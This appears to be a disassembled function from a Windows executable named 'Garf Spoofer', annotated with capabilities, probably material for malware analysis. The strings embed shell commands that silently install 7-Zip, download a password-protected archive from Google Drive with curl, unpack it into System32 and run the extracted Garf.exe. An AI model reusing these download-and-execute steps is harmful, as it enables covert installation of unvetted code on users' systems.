Function at 0x140002490
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
call fcn.1400033b8
lea rsi, str.C:Program_Files7_Zip7z.exe
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 0x1d
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.1400018c0
nop
lea rcx, [rbp - 0x20]
call fcn.140002390
movzx ebx, al
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000251e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002519
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002519
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038f4
test bl, bl
jne 0x14000269c
lea rcx, str.CURL__https:__www.7_zip.org_a_7z2200_x64.msi____output__C:WindowsSystem327z2200_x64.msi___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400033b8
lea rdi, str.C:WindowsSystem327z2200_x64.msi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0x22
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.1400018c0
nop
lea rcx, [rbp - 0x20]
call fcn.140002390
movzx ebx, al
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400025b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038f4
test bl, bl
jne 0x1400025e1
mov r9d, 0x30
lea r8, str.Garf_Spoofer
lea rdx, str.Required_files_not_downloaded.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.C:WindowsSystem327z2200_x64.msi__qn__norestart
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400033b8
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 0x1d
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.1400018c0
nop
lea rcx, [rbp - 0x20]
call fcn.140002390
movzx ebx, al
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000265e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002659
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038f4
test bl, bl
jne 0x140002693
mov r9d, 0x30
lea r8, str.Garf_Spoofer
lea rdx, str.Processing_required_files_failed.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.curl__s__o_C:WindowsSystem32Garf.7z__L__https:__drive.google.com_uc_exportdownloadid1V2XCMtHNTqCfx9mQjzvVbtELn8XKxoLe___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.__C:Program_Files7_Zip7z.exe__x__C:WindowsSystem32Garf.7z___pGarf__oC:WindowsSystem32__aoa___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Garf.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret